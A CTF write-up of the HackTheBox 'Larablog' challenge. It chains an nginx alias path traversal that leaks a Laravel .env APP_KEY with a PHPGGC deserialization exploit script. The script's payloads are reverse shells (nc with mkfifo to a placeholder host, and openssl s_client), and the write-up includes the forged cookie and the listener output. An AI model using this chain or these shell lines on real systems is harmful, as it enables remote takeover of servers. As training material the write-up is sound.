Challenge Info

I really like nginx, I also really like Laravel. This is why I published a blog post about my secure boilerplate nginx config on my Laravel deployments.

Solution

When we visit the website we see the following:

A devops engineer made a blogpost containing the full nginx config file.

user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /dev/stdout docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 2M;

    include  /etc/nginx/mime.types;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www/public;

        location /assets {
            alias /www/public/;
        }

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}

Looking through the nginx configuration on part sticks out:

        location /assets {
            alias /www/public/;
        }

In Nginx, when creating an alias, without using a trailing slash, an attacker could potentially read files outside the target directory.
This means that we could potentially traverse up on directory and read files stored in www.

Based on the title of the blogpost and the challenge name, we know we're dealing with Laravel.
So why not try to read the .env file? This file may contains secrets like the APP_KEY used to create valid session cookies.

But with this secret we could also potentially make the application unserialize data we control - which obviously could be really bad.

Browsing to /assets../.env:

Awesome! We now have leaked the APP_KEY.

After reading a lot of difference posts about abusing the APP_KEY we eventually found this blog post: https://blog.truesec.com/2020/02/12/from-s3-bucket-to-laravel-unserialize-rce/

The exploit looks like this:

<?php
$cipher = 'AES-256-CBC';
$app_key = 'base64:*********F0=';
$chain_name = 'Laravel/RCE6';
$payload = 'system(\'mkfifo .s && /bin/sh -i < .s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:443 > .s && rm .s\');';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc/phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
        $app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results

All we did now was to substitute the app_key variable with the one we leaked and also change the payload.

The exploit we ended up using:

<?php
$cipher = 'AES-256-CBC';
$app_key = 'base64:thXij3THKhwczXF5C7bqGlMlNGPDDBGSfQ79a079ZpA=';
$chain_name = 'Laravel/RCE6';
$payload = 'system(\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc MY-IP-ADDR PORT >/tmp/f\');';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc/phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
        $app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results
die(urlencode(base64_encode($json)));

Running the exploit gives us the full payload we need to send to the web server:

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Larablog]
└──╼ $ php exploit.php ; echo
eyJpdiI6ImJDaTZsdFVsSUJ1UnV4RUh2T3EwN1E9PSIsInZhbHVlIjoiZFJmWEtvYXBNMitoZTkydVpyaFF1NjROWlpOQlcrb1hkMHZjZk4wT1JCUE9HcmZ5QVwvMFwvRzY1THZkTVB6VDVRcTl3cGViSGVLWTRmak5BN2NxbE41MnpcL3djSmlxekxJSXlGbHJBcDA2YVBSUE4wXC9DWXM1SmNtRUtwZ29WTENndUU4R0FMVmFPZ0VxRmJpUk5HSndTVndZSFdYU2hoV1A4K1lKSVhxdU9WZzUzbGN2MUdVS1BMZlZNOGxyQllzMXV0dzN6OE56ME51a0krSFdPdGRyMWpFNGhJTEgrdklZQW5hb05HUWRoUzJsQUxpZFpqNzdNdmNON3hKUjJrTStkYzR4bmhCYTFXQUwzTUFhaGgzTEZCeUdVZVwvWGRvblJldVV4K0NmTzgwbWFRSTNIQkg5RWVYSjc1TnhnclRtUDgxMDNkc1JjSk5BTjBnRzYwQ015NStXYkhuN3Y5RE9WRktEU2tSSVRkK1JjQnYwVTRzWnFaeWk0dVpabkZHRVM4a0l6bHRhZ0V3RmNXMnRHME4ybThxanVLMUdxdWUxaVZIUVwvVmpLdG96S3hIS0xkWW81TElHR2JzdFBDanFJRW1sRjJ1Ulg0QkV2TTQwZWlDVHA3WXBGNXNNSlJhWmx5SVdWbjY3M09UcnJicytISG1PQnFndEpPRGtoalRUUnhHQjF6M2llWGlmV2VTUmh5VHRaXC9VakR3VHBhNFByMDZwTCtKWXYwYjB4dUN6TFY4R2JSRWwydXJhbGY2eWhVZW42RjlUVWthdlBnb1Rqb3g1Ymd4QUE1OXBHbFZMZDY1VHFhdmkrU0lEN0ZVd3FZN3ZoYVRGR2dOYVFDVHpreHNVd3dpdnR5bXVuNXM2TWNzR0pPaXdnb3RMRklVUlpKV2RSeWtGVUhoWDNMY2xBWVlSQ3VpZ1VLeE05b2JGdXZJZ0RQbXBxWjJpSzNXc2NnSnJYN09pdUxHM282QmZpNm5CU0VhZGJ3VUhnVTBCUHJlWjZFXC8xc3JQTHFKK0Y5aTFreFhMMnhCRVgyT3djWWtzZFl2bUYrM2Vla2tETUVDRjIxMHhDSk1LXC9qbDNNdW1HVGRNSnBYWm1COE1UcFp6ViIsIm1hYyI6ImQwZTJkMDc4ZWU1ODg5NjJjMTZlMWY5N2U4OTlkNDk5YTU0ZjIyN2ZiMDQ0M2EyYWQ2OWY2Y2IzMTBkYTYyMjEifQ%3D%3D

We now setup a listener and use Burp to send the GET request with the modified session cookie:

We get a connection back and can now read the flag which is located at /:

s1gh@Database:/dev/shm$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [MY-IP-ADDR] from (UNKNOWN) [142.93.35.92] 38445
/bin/sh: can't access tty; job control turned off
/www $
/www $ cat /flag* 2>/dev/null
HTB{0ff_by_sl4sh_pwn4g3}

Flag: HTB{0ff_by_sl4sh_pwn4g3}